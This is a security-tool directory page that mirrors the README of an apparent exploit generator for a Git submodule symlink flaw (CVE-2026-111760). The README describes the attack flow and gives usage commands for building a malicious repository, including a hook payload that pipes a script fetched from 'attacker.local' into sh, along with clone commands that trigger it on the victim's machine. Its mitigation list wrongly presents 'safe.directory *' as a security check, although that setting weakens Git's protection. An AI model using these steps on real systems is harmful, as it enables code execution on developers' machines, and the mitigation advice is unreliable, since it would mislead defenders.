Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2026-111760-git-submodule-symlink-rce — PoC and exploit generator for CVE-2026-111760, a Git submodule index integer-truncation flaw that writes a symlinked .git directory and executes attacker hooks on clone. | Kitploit
도구/GitHubGitHub/ghost-bx1/cve-2026-111760-git-submodule-symlink-rce
Privilege EscalationPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubghost-bx1/cve-2026-111760-git-submodule-symlink-rce

cve-2026-111760-git-submodule-symlink-rce

공유

PoC and exploit generator for CVE-2026-111760, a Git submodule index integer-truncation flaw that writes a symlinked .git directory and executes attacker hooks on clone.

저장소 보기
110일 전아직 검토되지 않음
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

GitSymlink-RCE - CVE-2026-111760

CVE CVSS

Python Platform Category By Gh0st-Bx1

LEGAL DISCLAIMER: This repository was created exclusively for educational and security research purposes. Using these tools against systems without prior express written authorization is illegal. The author is not responsible for any misuse of this material.


Summary

FieldDetail
CVECVE-2026-111760
NicknameGitSymlink-RCE
TypeInteger truncation -> symlink write (CWE-190 / CWE-59)
CVSS8.0 High (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
ComponentGit - index path processing in submodules
VectorsCloning a malicious repository with --recurse-submodules
AuthenticationNot required (social engineering required)
AffectsGit < 2.56.1 (backports: 2.55.1, 2.54.1, 2.53.1, ..., 2.48.2)
FixedGit 2.56.1 (November 2026)
DisclosedNovember 2026

Vulnerability Description

Integer truncation in Git's index path processing when processing submodules with --recurse-submodules. A path with 260 characters has its size processed incorrectly: when stored in a field of insufficient size (uint8), the value 260 truncates to 4, which is exactly the length of .git.

As a result, the file with the long path is written to the filesystem with the truncated name .git, replacing the git directory of the cloned repository with a symlink pointing to a hooks directory controlled by the attacker. On the next git operation (checkout, merge, pull), the malicious hooks are executed with the user's privileges.

Attack Flow

Atacante                               Vitima
   |                                      |
   |-- Cria repo malicioso + submodulo -->|
   |   (index com caminho de 260 bytes)   |
   |                                      |
   |<-- Vitima clona com --recurse -------|
   |                                      |
   |   [Git processa index do submodulo]  |
   |   [Caminho 260 trunca para 4 = .git] |
   |   [.git substituido por symlink]     |
   |   [symlink -> diretorio de hooks]    |
   |                                      |
   |<-- git checkout executa post-checkout|
   |   [hook malicioso executa como user] |

Usage

PoC - Check Git version

# Checar versao instalada
python poc.py --check-git

# Analisar repositorio com submodulos
python poc.py --analyze /caminho/do/repo

Exploit - Create malicious repository

# Criar repo malicioso com hooks e comando personalizado
python exploit.py --create-repo /tmp/evil --cmd "id > /tmp/pwned.txt"

# Especificar diretorio de hooks separado
python exploit.py --create-repo /tmp/evil --hooks-dir /tmp/evil-hooks --cmd "curl http://attacker.local/shell.sh | sh"

# Gerar apenas o index manipulado para analise
python exploit.py --gen-index /tmp/index-payload

Using the created malicious repository

# A vitima deve clonar o repositorio malicioso
git clone --recurse-submodules file:///tmp/evil victim-repo

# Ou via URL se o repo for hospedado
git clone --recurse-submodules https://evil-repo.example.com victim-repo

Detection and Mitigation

  • Update Git to 2.56.1 or the corresponding backport version urgently
  • Avoid cloning repositories from unknown sources with --recurse-submodules
  • Verify repository integrity with git fsck
  • Monitor symlink creation in .git directories
  • Enable path security checks in git config: git config --global safe.directory '*'

Fixed Versions

SeriesFixed Version
2.56.x2.56.1
2.55.x2.55.1
2.54.x2.54.1
2.53.x2.53.1
2.52.x2.52.1
2.51.x2.51.1
2.50.x2.50.2
2.49.x2.49.1
2.48.x2.48.2

References

  • Git Security Advisory
  • CWE-190: Integer Overflow or Wraparound
  • CWE-59: Improper Link Resolution Before File Access

By Gh0st-Bx1 | https://github.com/Ghost-Bx1

도구 다운로드

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 궁극의 OSINT 툴킷: 조사 그래프, 신뢰도 점수 산정, 별칭 패밀리, 지도, 타임라인 및 보고서. 49개 모듈, 400개 이상 사이트, API 키 불필요.

    972
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # GhostLock 원탭 실행 앱 (CVE-2026-43499)

    666
  • 3

    looking-glass

    anonghosty/looking-glass

    Shadowserver 보고서를 MongoDB로 수집하고 이를 대화형 지도, 분석, 발견 사항, 권고 및 경영진 대시보드로 재생하는 CSIRT 플랫폼입니다.

    424
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer는 오픈소스 권한 접근 관리(PAM) 플랫폼으로, DevOps 및 IT 팀이 웹 브라우저를 통해 SSH, RDP, Kubernetes, 데이터베이스 및 RemoteApp 엔드포인트에 주문형 보안 액세스를 제공합니다.

    389
  • 5

    SafeLine

    chaitin/safeline

    악성 HTTP 트래픽을 필터링하고 SQL 인젝션, XSS, 봇 공격을 차단하며, 속도 제한 및 동적 HTML/JS 암호화를 제공하는 자체 호스팅 WAF 및 리버스 프록시입니다.

    337
  • 6

    ARTEX

    baarai/artex

    LLM 멀티 에이전트 자율 침투 테스트 플랫폼으로, 플래너/워커 에이전트, 자산 및 탐색 그래프, MITM 트래픽 기록, 취약점 재테스트 기능을 제공합니다.

    331

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →